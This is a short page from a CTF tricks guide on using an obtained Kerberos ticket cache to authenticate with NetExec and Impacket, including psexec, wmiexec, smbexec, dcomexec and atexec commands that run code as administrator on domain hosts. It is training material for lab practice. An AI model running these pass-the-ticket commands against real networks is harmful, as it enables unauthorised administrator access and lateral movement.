> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-13/authentication/trick-0386.md).

# Authenticate with Kerberos TGT

***

After obtaining a Kerberos TGT in a `.ccache` file (e.g., from `certipy auth` after AD CS ESC7 or `impacket-getTGT` with credentials), you can use this ticket for authentication with tools that support Kerberos credential caches.

First, set the `KRB5CCNAME` environment variable to the path of your `.ccache` file:

```bash
export KRB5CCNAME='/path/to/ticket.ccache'
```

Optionally, verify the contents of the cache:

```bash
klist
```

Then, use tools like `nxc` or Impacket suites. Setting the `KRB5CCNAME` environment variable allows these tools to automatically use the specified Kerberos ticket cache.

For `nxc` (NetExec), you can specify Kerberos authentication and indicate the use of the cache:

```bash
nxc smb <target> -k --use-kcache
```

You can also specify the KDC IP if needed:

```bash
nxc smb <target> -k --kdcHost <kdc_ip> --use-kcache
```

Using `--use-kcache` alone as in the original example `nxc smb dc01.manager.htb -d manager.htb --use-kcache` is also valid.

For Impacket tools, setting `KRB5CCNAME` is often sufficient. The tools will automatically look for the ticket cache specified by this variable when Kerberos authentication is attempted. Some tools might also accept a `-k` flag to explicitly indicate Kerberos authentication using the cache.

Examples using various Impacket scripts with `KRB5CCNAME` set (either beforehand or inline):

```bash
KRB5CCNAME=administrator.ccache impacket-psexec administrator@domain.local -dc-ip 10.10.10.10
```

```bash
KRB5CCNAME=administrator.ccache impacket-wmiexec administrator@domain.local -dc-ip 10.10.10.10
```

```bash
KRB5CCNAME=administrator.ccache impacket-smbexec administrator@domain.local -dc-ip 10.10.10.10
```

```bash
KRB5CCNAME=administrator.ccache impacket-dcomexec administrator@domain.local -dc-ip 10.10.10.10
```

```bash
KRB5CCNAME=administrator.ccache impacket-atexec administrator@domain.local -dc-ip 10.10.10.10
```

Alternatively, explicitly specifying Kerberos with a flag like `-kerberos` or `-k` can also trigger cache usage if `KRB5CCNAME` is set:

```bash
impacket-psexec -kerberos manager.htb/Administrator@dc01.manager.htb -dc-ip 10.10.11.236
```